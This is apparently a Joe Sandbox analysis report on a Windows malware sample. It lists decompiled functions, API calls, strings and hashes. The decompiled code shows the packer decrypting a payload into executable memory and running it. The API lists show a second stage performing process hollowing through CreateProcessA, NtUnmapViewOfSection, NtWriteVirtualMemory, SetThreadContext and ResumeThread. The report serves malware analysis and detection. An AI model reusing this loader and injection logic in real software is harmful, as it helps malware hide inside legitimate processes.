						 *((char*)( *0x43e838 + _t86)) =  *((intOrPtr*)( *0x44013c + _t86 + 0xb2d3b));
						if( *0x43ed4c == 0x44) {
							GetConsoleTitleA(_t94 - 0x4d4, _t76);
						}
						_t86 = _t86 + 1;
					} while (_t86 <  *0x43ed4c);
				}
				 *(_t94 - 0x10) = _t76;
				do {
					_t78 =  *(_t94 - 0x10);
					if( *(_t94 - 0x10) +  *0x43ed4c == 0x5e) {
						GetConsoleTitleA(_t94 - 0x8d4, _t76);
						GetAtomNameW(_t76, _t94 - 0x10d4, _t76);
						 *(_t94 - 0x40) = _t76;
						asm("stosd");
						asm("stosd");
						asm("stosd");
						asm("stosd");
						CreateIoCompletionPort(_t76, _t94 - 0x40, _t76, _t76);
						GetFileAttributesW(L"vofazegekasu");
						GetDefaultCommConfigW(_t76, _t76, _t76);
					}
					 *(_t94 - 0x10) =  &(( *(_t94 - 0x10))[0]);
				} while ( *(_t94 - 0x10) < 0x40c893);
				E00401617();
				do {
					if(_t76 == 0xc06) {
						E004016EA(_t78);
					}
					_t76 =  &(_t76[0]);
				} while (_t76 < 0x246b35);
				_t40 =  *0x43e838;
				 *0x43ed40 = _t40;
				_t41 =  *_t40();
				 *[fs:0x0] =  *((intOrPtr*)(_t94 - 0xc));
				return _t41;
			}

0x00401733
0x00401733
0x00401738
0x00401742
0x00401748
0x00401749
0x0040174b
0x0040175b
0x00401763
0x0040176b
0x0040177a
0x0040178c
0x00401799
0x004017a2
0x004017ae
0x004017b6
0x004017bc
0x004017c2
0x004017c8
0x004017d0
0x004017d7
0x004017da
0x004017de
0x004017e4
0x004017e7
0x004017ec
0x004017f3
0x004017f8
0x00401808
0x00401810
0x00401815
0x00401818
0x0040181a
0x0040181c
0x0040181f
0x00401824
0x00401826
0x00401828
0x0040182a
0x0040182d
0x00401832
0x00401834
0x0040183e
0x0040183e
0x00401843
0x00401845
0x00401849
0x00401855
0x00000000
0x00000000
0x00401857
0x0040185e
0x00000000
0x00000000
0x00000000
0x0040185e
0x00401860
0x00401872
0x00401878
0x0040187e
0x00401883
0x00401888
0x00401893
0x00401895
0x004018a0
0x004018a2
0x004018b4
0x004018be
0x004018c8
0x004018c8
0x004018ca
0x004018cb
0x004018a2
0x004018d3
0x004018d6
0x004018db
0x004018e3
0x004018ed
0x004018f8
0x00401900
0x00401906
0x00401907
0x00401908
0x0040190a
0x00401911
0x0040191c
0x00401925
0x00401925
0x0040192b
0x0040192e
0x00401937
0x0040193c
0x00401942
0x00401944
0x00401944
0x00401949
0x0040194a
0x00401952
0x00401957
0x0040195c
0x00401963
0x0040196c

APIs

__EH_prolog.LIBCMT ref: 00401738
CompareFileTime.KERNEL32(00000000,00000000), ref: 00401763
EnumSystemLocalesW.KERNEL32(00000000,00000000), ref: 0040176B
GetConsoleAliasesA.KERNEL32(?,00000000,00000000), ref: 0040177A
FindResourceExA.KERNEL32(00000000,fofako,cimojudozuwelam,00000000), ref: 0040178C
GetVersionExA.KERNEL32(?), ref: 00401799
VirtualQuery.KERNEL32(00000000,00000000,00000000), ref: 004017A2
CreateThread.KERNEL32 ref: 004017AE
SetComputerNameExA.KERNEL32(00000000,00000000), ref: 004017B6
_printf.LIBCMT ref: 004017C2
_malloc.LIBCMT ref: 004017E7

Part of subcall function 004025EF: __FF_MSGBANNER.LIBCMT ref: 00402612
Part of subcall function 004025EF: __NMSG_WRITE.LIBCMT ref: 00402619
Part of subcall function 004025EF: RtlAllocateHeap.NTDLL(00000000,-0000000E,00000001,00000000,00000000,?,00409EB4,00000001,00000001,00000001,?,00404087,00000018,00417908,0000000C,00404118), ref: 00402666

_calloc.LIBCMT ref: 004017F8

Part of subcall function 00402560: __calloc_impl.LIBCMT ref: 00402575

__wfopen_s.LIBCMT ref: 00401808
_fseek.LIBCMT ref: 00401810
GetConsoleAliasA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00401849
GetModuleHandleA.KERNEL32(kernel32.dll), ref: 00401866
LocalAlloc.KERNELBASE(00000000), ref: 00401878
GetConsoleTitleA.KERNEL32(?,00000000), ref: 004018C8
GetConsoleTitleA.KERNEL32(?,00000000), ref: 004018ED
GetAtomNameW.KERNEL32(00000000,?,00000000), ref: 004018F8
CreateIoCompletionPort.KERNEL32(00000000,?,00000000,00000000), ref: 00401911
GetFileAttributesW.KERNEL32(vofazegekasu), ref: 0040191C
GetDefaultCommConfigW.KERNEL32(00000000,00000000,00000000), ref: 00401925

Strings

5k$, xrefs: 0040194A
fofako, xrefs: 00401786
0.txt, xrefs: 00401802
cimojudozuwelam, xrefs: 00401781
kernel32.dll, xrefs: 00401756, 004017C1, 00401865
vofazegekasu, xrefs: 00401917
runexobozez, xrefs: 004017BC

Memory Dump Source

Source File: 00000019.00000002.372953677.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.372932639.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.372987587.0000000000413000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.373039286.0000000000419000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.373057118.000000000041A000.00000008.00020000.sdmp Download File
Associated: 00000019.00000002.373076786.0000000000433000.00000008.00020000.sdmp Download File
Associated: 00000019.00000002.373090571.000000000043B000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.373107435.0000000000442000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_3D67.jbxd

Similarity

API ID: Console$CreateFileNameTitle$AliasAliasesAllocAllocateAtomAttributesCommCompareCompletionComputerConfigDefaultEnumFindH_prologHandleHeapLocalLocalesModulePortQueryResourceSystemThreadTimeVersionVirtual__calloc_impl__wfopen_s_calloc_fseek_malloc_printf
String ID: 0.txt$5k$$cimojudozuwelam$fofako$kernel32.dll$runexobozez$vofazegekasu
API String ID: 3721577380-1312543820
Opcode ID: 8096f7df5cf2fa9f2865b24c81b2255a1eeac72618ad33549ba6764a8dd05816
Instruction ID: 147815703b3257d3c3bf968a8719ce542d854f37e88ed653ea08ed03ae8ef673
Opcode Fuzzy Hash: 8096f7df5cf2fa9f2865b24c81b2255a1eeac72618ad33549ba6764a8dd05816
Instruction Fuzzy Hash: CD5144B5900204AFD700AFA5DCC999E7BBCFB08305B14987BF506A71A1DB789A408B6D

Uniqueness

Uniqueness Score: -1.00%

Function 00460110, Relevance: 22.7, APIs: 15, Instructions: 248
memorynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 00460156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 0046016C
CreateProcessA.KERNELBASE(?,00000000), ref: 00460255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 00460270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 00460283
GetThreadContext.KERNELBASE(00000000,?), ref: 0046029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 004602C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 004602E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 00460304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 0046032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 00460399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 004603BF
SetThreadContext.KERNELBASE(00000000,?), ref: 004603E1
ResumeThread.KERNELBASE(00000000), ref: 004603ED
ExitProcess.KERNEL32(00000000), ref: 00460412

Memory Dump Source

Source File: 00000019.00000002.373152525.0000000000460000.00000040.00000001.sdmp, Offset: 00460000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_460000_3D67.jbxd

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$Context$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 2875986403-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: 2a06f4e7223cffddd6b0ac205043bdc297540d4fabe67e885c6535822cc68015
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: ACB1C874A00208AFDB44CF98C895F9EBBB5FF88314F248158E909AB391D775AD41CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00460630, Relevance: 58.4, APIs: 1, Strings: 32, Instructions: 671
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(user32), ref: 004606E2

Strings

MessageBoxA, xrefs: 004606EE, 004606F4
VirtualAllocEx, xrefs: 00460B44, 00460B4A
ReadProcessMemory, xrefs: 00460C4A, 00460C50
NtWriteVirtualMemory, xrefs: 0046112C, 00461132
VirtualFree, xrefs: 00460BB2, 00460BB8
user32, xrefs: 004606DB, 004606E1
NtUnmapViewOfSection, xrefs: 00461085, 0046108B
WaitForSingleObject, xrefs: 00460E95, 00460E9B
GetModuleFileNameA, xrefs: 00460EFB, 00460EFE
GetStartupInfoA, xrefs: 0046145B, 00461461
SetThreadContext, xrefs: 00460D7A, 00460D80
GetThreadContext, xrefs: 00460A4C, 00460A52
GetFileAttributesA, xrefs: 004613D7, 004613DA
CreateFileA, xrefs: 0046088B, 00460891
WinExec, xrefs: 00460820, 00460823
CloseHandle, xrefs: 00460938, 0046093E
VirtualAlloc, xrefs: 00460AC1, 00460AC7
WriteProcessMemory, xrefs: 00460CE9, 00460CEF
GetMessageA, xrefs: 004612F7, 004612FA
CreateProcessA, xrefs: 004609BB, 004609C1
ResumeThread, xrefs: 00460DEF, 00460DF5
kernel32, xrefs: 004607ED, 004607F3
ntdll.dll, xrefs: 00460FE2, 00460FE8
RegisterClassExA, xrefs: 004611B7, 004611BD
VirtualProtectEx, xrefs: 004614E9, 004614EF
DefWindowProcA, xrefs: 00461374, 0046137A
GetMessageExtraInfo, xrefs: 00460794, 0046079A
PostMessageA, xrefs: 004612B0, 004612B6
ExitProcess, xrefs: 00461554, 0046155A
WriteFile, xrefs: 004608CD, 004608D0
GetCommandLineA, xrefs: 00460F82, 00460F88
CreateWindowExA, xrefs: 0046123E, 00461244

Memory Dump Source

Source File: 00000019.00000002.373152525.0000000000460000.00000040.00000001.sdmp, Offset: 00460000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_460000_3D67.jbxd

Similarity

API ID: LibraryLoad
String ID: CloseHandle$CreateFileA$CreateProcessA$CreateWindowExA$DefWindowProcA$ExitProcess$GetCommandLineA$GetFileAttributesA$GetMessageA$GetMessageExtraInfo$GetModuleFileNameA$GetStartupInfoA$GetThreadContext$MessageBoxA$NtUnmapViewOfSection$NtWriteVirtualMemory$PostMessageA$ReadProcessMemory$RegisterClassExA$ResumeThread$SetThreadContext$VirtualAlloc$VirtualAllocEx$VirtualFree$VirtualProtectEx$WaitForSingleObject$WinExec$WriteFile$WriteProcessMemory$kernel32$ntdll.dll$user32
API String ID: 1029625771-3105132389
Opcode ID: aab33881e6ea512dee0bea29e3953140485f8577d3db8e783070f8d433065c47
Instruction ID: 840a96be87182b7d83052d075de84b44ac6df423c6a68ffa704e40085d38bbd9
Opcode Fuzzy Hash: aab33881e6ea512dee0bea29e3953140485f8577d3db8e783070f8d433065c47
Instruction Fuzzy Hash: 50A24460D0C6E8C9EB21C668CC4C7DDBEB51B26749F0841D9858C66292C7BB1B98CF76

Uniqueness

Uniqueness Score: -1.00%

Function 0040196D, Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 55%

			E0040196D(void* __ebx, void* __edx, void* __edi, void* __fp0) {
				void* _t22;
				void* _t25;
				void* _t34;

				_t34 = __fp0;
				_t23 = __edi;
				_t22 = __edx;
				_t19 = __ebx;
				E00412DF4(E00412EF5, _t25);
				if( *0x43ed4c == 0xc) {
					__imp__OpenJobObjectA(0, 0, "futefohalumiluyowemaboxogarirewemixehufiwiji");
					SetLocaleInfoA(0, 0, 0);
					E00401A03(_t25 - 0x28, "vemetahupofutadiki");
					_push(0);
					 *((intOrPtr*)(_t25 - 4)) = 0;
					E00402EDE(__ebx, _t22, __edi, 0, 0);
					_push(0);
					E00402C04(__ebx, _t22, __edi, 0, 0);
					_push(0);
					_push(0);
					_push(0);
					E00402D91(__ebx, _t22, __edi, 0, 0);
					_push(0);
					E004027F1(_t19, _t22, _t23, 0, 0);
					_push(0);
					E004026CF();
					E004026B9(0);
					E00402C72(_t22, _t23, 0, 0);
				}
				 *0x43ed4c =  *0x421364;
				 *0x43ed4c =  *0x43ed4c + 0xb2d3b; // executed
				E00401733(_t22, _t34); // executed
				 *[fs:0x0] =  *((intOrPtr*)(_t25 - 0xc));
				return 0;
			}

0x0040196d
0x0040196d
0x0040196d
0x0040196d
0x00401972
0x00401981
0x0040198c
0x00401995
0x004019a3
0x004019a8
0x004019a9
0x004019ac
0x004019b1
0x004019b2
0x004019b7
0x004019b8
0x004019b9
0x004019ba
0x004019bf
0x004019c0
0x004019c5
0x004019c6
0x004019cc
0x004019d4
0x004019d4
0x004019de
0x004019e8
0x004019ee
0x004019f8
0x00401a00

APIs

__EH_prolog.LIBCMT ref: 00401972
OpenJobObjectA.KERNEL32 ref: 0040198C
SetLocaleInfoA.KERNEL32(00000000,00000000,00000000), ref: 00401995
_ftell.LIBCMT ref: 004019B2
_fseek.LIBCMT ref: 004019BA
_printf.LIBCMT ref: 004019C0

Part of subcall function 004026B9: __wcstoi64.LIBCMT ref: 004026C5

Part of subcall function 00402C72: __getptd.LIBCMT ref: 00402C7E
Part of subcall function 00402C72: _abort.LIBCMT ref: 00402CA0

Strings

futefohalumiluyowemaboxogarirewemixehufiwiji, xrefs: 00401983
vemetahupofutadiki, xrefs: 0040199B

Memory Dump Source

Source File: 00000019.00000002.372953677.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.372932639.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.372987587.0000000000413000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.373039286.0000000000419000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.373057118.000000000041A000.00000008.00020000.sdmp Download File
Associated: 00000019.00000002.373076786.0000000000433000.00000008.00020000.sdmp Download File
Associated: 00000019.00000002.373090571.000000000043B000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.373107435.0000000000442000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_3D67.jbxd

Similarity

API ID: H_prologInfoLocaleObjectOpen__getptd__wcstoi64_abort_fseek_ftell_printf
String ID: futefohalumiluyowemaboxogarirewemixehufiwiji$vemetahupofutadiki
API String ID: 1946867905-2195284033
Opcode ID: e1b7f81fa23c00a3a560dba4e259eb4962caa2f4fe00d72d80a552a4a034009e
Instruction ID: f54a6145c2b500ab092d8c4927d6a0b57f2b06956976b8614c345a445191b357
Opcode Fuzzy Hash: e1b7f81fa23c00a3a560dba4e259eb4962caa2f4fe00d72d80a552a4a034009e
Instruction Fuzzy Hash: 3401623190252066C721BB639E0E9CF3E78AF1A358B10403FF405B25E5CBBC46428EEE

Uniqueness

Uniqueness Score: -1.00%

Function 00407A73, Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 42
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 77%

			E00407A73(intOrPtr _a4) {
				struct HINSTANCE__* _t6;
				_Unknown_base(*)()* _t7;
				intOrPtr _t9;
				intOrPtr _t10;
				void* _t12;

				if(TlsGetValue( *0x419718) == 0) {
					L4:
					_t15 = L"KERNEL32.DLL";
					_t6 = GetModuleHandleW(L"KERNEL32.DLL");
					if(_t6 != 0) {
						L6:
						_t7 = GetProcAddress(_t6, "EncodePointer");
						L7:
						if(_t7 != 0) {
							_t9 =  *_t7(_a4); // executed
							_a4 = _t9;
						}
						L9:
						return _a4;
					}
					_t6 = E00404E0C(_t15);
					if(_t6 == 0) {
						goto L9;
					}
					goto L6;
				}
				_t10 =  *0x419714; // 0x1
				if(_t10 == 0xffffffff) {
					goto L4;
				}
				_push(_t10);
				_t12 =  *(TlsGetValue( *0x419718))();
				if(_t12 == 0) {
					goto L4;
				}
				_t7 =  *(_t12 + 0x1f8);
				goto L7;
			}

0x00407a89
0x00407aac
0x00407aac
0x00407ab2
0x00407aba
0x00407ac7
0x00407acd
0x00407ad3
0x00407ad5
0x00407ada
0x00407adc
0x00407adc
0x00407adf
0x00407ae4
0x00407ae4
0x00407abd
0x00407ac5
0x00000000
0x00000000
0x00000000
0x00407ac5
0x00407a8b
0x00407a93
0x00000000
0x00000000
0x00407a95
0x00407a9e
0x00407aa2
0x00000000
0x00000000
0x00407aa4
0x00000000

APIs

TlsGetValue.KERNEL32(00000000,?,00407AEC,00000000,0040A33E,0043B378,00000000,00000314,?,004052B3,0043B378,Microsoft Visual C++ Runtime Library,00012010), ref: 00407A85
TlsGetValue.KERNEL32(00000001,?,00407AEC,00000000,0040A33E,0043B378,00000000,00000314,?,004052B3,0043B378,Microsoft Visual C++ Runtime Library,00012010), ref: 00407A9C
GetModuleHandleW.KERNEL32(KERNEL32.DLL,?,00407AEC,00000000,0040A33E,0043B378,00000000,00000314,?,004052B3,0043B378,Microsoft Visual C++ Runtime Library,00012010), ref: 00407AB2
__crt_waiting_on_module_handle.LIBCMT ref: 00407ABD
GetProcAddress.KERNEL32(00000000,EncodePointer), ref: 00407ACD
RtlEncodePointer.NTDLL(00000000,?,00407AEC,00000000,0040A33E,0043B378,00000000,00000314,?,004052B3,0043B378,Microsoft Visual C++ Runtime Library,00012010), ref: 00407ADA

Strings

EncodePointer, xrefs: 00407AC7
KERNEL32.DLL, xrefs: 00407AAC, 00407AB1, 00407ABC

Memory Dump Source

Source File: 00000019.00000002.372953677.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.372932639.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.372987587.0000000000413000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.373039286.0000000000419000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.373057118.000000000041A000.00000008.00020000.sdmp Download File
Associated: 00000019.00000002.373076786.0000000000433000.00000008.00020000.sdmp Download File
Associated: 00000019.00000002.373090571.000000000043B000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.373107435.0000000000442000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_3D67.jbxd

Similarity

API ID: Value$AddressEncodeHandleModulePointerProc__crt_waiting_on_module_handle
String ID: EncodePointer$KERNEL32.DLL
API String ID: 2228147409-3682587211
Opcode ID: cbbe8ec1763f6dc4a8a5f6cbd978bd89f8cc1b8b3349f1b1a27430a937bcf531
Instruction ID: 39eca8d06c4466ed9a0ee579d4cf79698ead576823e590b366e376fc4143f548
Opcode Fuzzy Hash: cbbe8ec1763f6dc4a8a5f6cbd978bd89f8cc1b8b3349f1b1a27430a937bcf531
Instruction Fuzzy Hash: CCF03130B04115ABDB109F25DC449DF3F98DF403A17148032F829E62E0DB39EF418AAE

Uniqueness

Uniqueness Score: -1.00%

Function 00460420, Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 00460533

Strings

0, xrefs: 00460492
mfoaskdfnoa, xrefs: 00460520, 00460523
saodkfnosa9uin, xrefs: 004604DA
d, xrefs: 00460584

Memory Dump Source

Source File: 00000019.00000002.373152525.0000000000460000.00000040.00000001.sdmp, Offset: 00460000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_460000_3D67.jbxd

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: de652b0f019cc1373de7cbcb3aa6172951dc5368ad1613bde01af3071c5a6e4e
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: FC513A70D08388EAEB11CBD8C849BDEBFB26F11708F144059D5453F286D3BA5A59CB66

Uniqueness

Uniqueness Score: -1.00%

Function 004605B0, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 004605EC

Strings

o, xrefs: 00460600
apfHQ, xrefs: 004605E2, 004605E5

Memory Dump Source

Source File: 00000019.00000002.373152525.0000000000460000.00000040.00000001.sdmp, Offset: 00460000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_460000_3D67.jbxd

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: f43b3c92eb9048f8f13f67730acf12ca28a72173625eccacdcc958d25f251b3e
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: AE011E70C0424CEADB10DB98C5183AEBFB5AF41308F1480DAC4092B342E77A9B59CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 004507A6, Relevance: 1.5, APIs: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Module32First.KERNEL32(00000000,00000224), ref: 004507EE

Memory Dump Source

Source File: 00000019.00000002.373130598.0000000000450000.00000040.00000001.sdmp, Offset: 00450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_450000_3D67.jbxd

Similarity

API ID: FirstModule32
String ID:
API String ID: 3757679902-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 6cc4aec2e5f3deeea1c809e4bbf904fcc7455c684bf4a4902fa26ababd7608f2
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 8EF0C2391007106BD7203AB5988CA6FB6E8BF49726F10012AEA42911C1DA78F8098A68

Uniqueness

Uniqueness Score: -1.00%

Function 00404DDC, Relevance: 1.5, APIs: 1, Instructions: 20
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00404DDC(intOrPtr _a4) {
				void* _t6;

				_t6 = HeapCreate(0 | _a4 == 0x00000000, 0x1000, 0); // executed
				 *0x43b33c = _t6;
				if(_t6 != 0) {
					 *0x441298 = 1;
					return 1;
				} else {
					return _t6;
				}
			}

0x00404df1
0x00404df7
0x00404dfe
0x00404e05
0x00404e0b
0x00404e01
0x00404e01
0x00404e01

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000), ref: 00404DF1

Memory Dump Source

Source File: 00000019.00000002.372953677.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.372932639.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.372987587.0000000000413000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.373039286.0000000000419000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.373057118.000000000041A000.00000008.00020000.sdmp Download File
Associated: 00000019.00000002.373076786.0000000000433000.00000008.00020000.sdmp Download File
Associated: 00000019.00000002.373090571.000000000043B000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.373107435.0000000000442000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_3D67.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: d8deb685cafe7b0cc21d9001f2ae1891b14f89bc864a84986c5b6d1de6c64486
Instruction ID: cb86cd807cd0f6782e5668dffd9c60a88ee37958fdfd33d5553ebe4703098fb0
Opcode Fuzzy Hash: d8deb685cafe7b0cc21d9001f2ae1891b14f89bc864a84986c5b6d1de6c64486
Instruction Fuzzy Hash: 17D05E766903099ADB009F75BC09B673BDCE384795F148476BA0CC61A0E6B4CA808A88

Uniqueness

Uniqueness Score: -1.00%

Function 00450465, Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 004504B6

Memory Dump Source

Source File: 00000019.00000002.373130598.0000000000450000.00000040.00000001.sdmp, Offset: 00450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_450000_3D67.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: c419a233b9d25aa70715fd57c5660eb43f9d81fd3d6c730a8f41c925d6f4111d
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 50113C79A40208EFDB01DF98CA85E99BBF5AF08351F058095FA489B362D375EA50DF84

Uniqueness

Uniqueness Score: -1.00%

Function 00401718, Relevance: 1.3, APIs: 1, Instructions: 7
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00401718() {
				void* _t1;

				_t1 = VirtualAlloc(0,  *0x43ed4c, 0x1000, 0x40); // executed
				 *0x43e838 = _t1;
				return _t1;
			}

0x00401727
0x0040172d
0x00401732

APIs

VirtualAlloc.KERNELBASE(00000000,00001000,00000040), ref: 00401727

Memory Dump Source

Source File: 00000019.00000002.372953677.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.372932639.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.372987587.0000000000413000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.373039286.0000000000419000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.373057118.000000000041A000.00000008.00020000.sdmp Download File
Associated: 00000019.00000002.373076786.0000000000433000.00000008.00020000.sdmp Download File
Associated: 00000019.00000002.373090571.000000000043B000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.373107435.0000000000442000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_3D67.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 9577d1de18c8b6f9161c858cb427f82f8870a28636bf816418d72ea6299abf86
Instruction ID: a6e46607374bf6537520d7780212c260eee82ef3cb5c03dc78dd7cf37cbf443c
Opcode Fuzzy Hash: 9577d1de18c8b6f9161c858cb427f82f8870a28636bf816418d72ea6299abf86
Instruction Fuzzy Hash: AEB092B4682340AAF6111F52AC46B883EA0A308B53F206021F708691E8CAB011849A0C

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0040378B, Relevance: 7.6, APIs: 5, Instructions: 58
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 85%

			E0040378B(intOrPtr __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _t6;
				intOrPtr _t11;
				intOrPtr _t12;
				intOrPtr _t13;
				long _t17;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t25;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr* _t31;
				void* _t34;

				_t27 = __esi;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ecx;
				_t21 = __ebx;
				_t6 = __eax;
				_t34 = _t22 -  *0x419680; // 0x6f9b84b6
				if(_t34 == 0) {
					asm("repe ret");
				}
				 *0x43b8d8 = _t6;
				 *0x43b8d4 = _t22;
				 *0x43b8d0 = _t25;
				 *0x43b8cc = _t21;
				 *0x43b8c8 = _t27;
				 *0x43b8c4 = _t26;
				 *0x43b8f0 = ss;
				 *0x43b8e4 = cs;
				 *0x43b8c0 = ds;
				 *0x43b8bc = es;
				 *0x43b8b8 = fs;
				 *0x43b8b4 = gs;
				asm("pushfd");
				_pop( *0x43b8e8);
				 *0x43b8dc =  *_t31;
				 *0x43b8e0 = _v0;
				 *0x43b8ec =  &_a4;
				 *0x43b828 = 0x10001;
				_t11 =  *0x43b8e0; // 0x0
				 *0x43b7dc = _t11;
				 *0x43b7d0 = 0xc0000409;
				 *0x43b7d4 = 1;
				_t12 =  *0x419680; // 0x6f9b84b6
				_v812 = _t12;
				_t13 =  *0x419684; // 0x90647b49
				_v808 = _t13;
				 *0x43b820 = IsDebuggerPresent();
				_push(1);
				E00409E2C(_t14);
				SetUnhandledExceptionFilter(0);
				_t17 = UnhandledExceptionFilter(0x41447c);
				if( *0x43b820 == 0) {
					_push(1);
					E00409E2C(_t17);
				}
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

0x0040378b
0x0040378b
0x0040378b
0x0040378b
0x0040378b
0x0040378b
0x0040378b
0x00403791
0x00403793
0x00403793
0x00409bc7
0x00409bcc
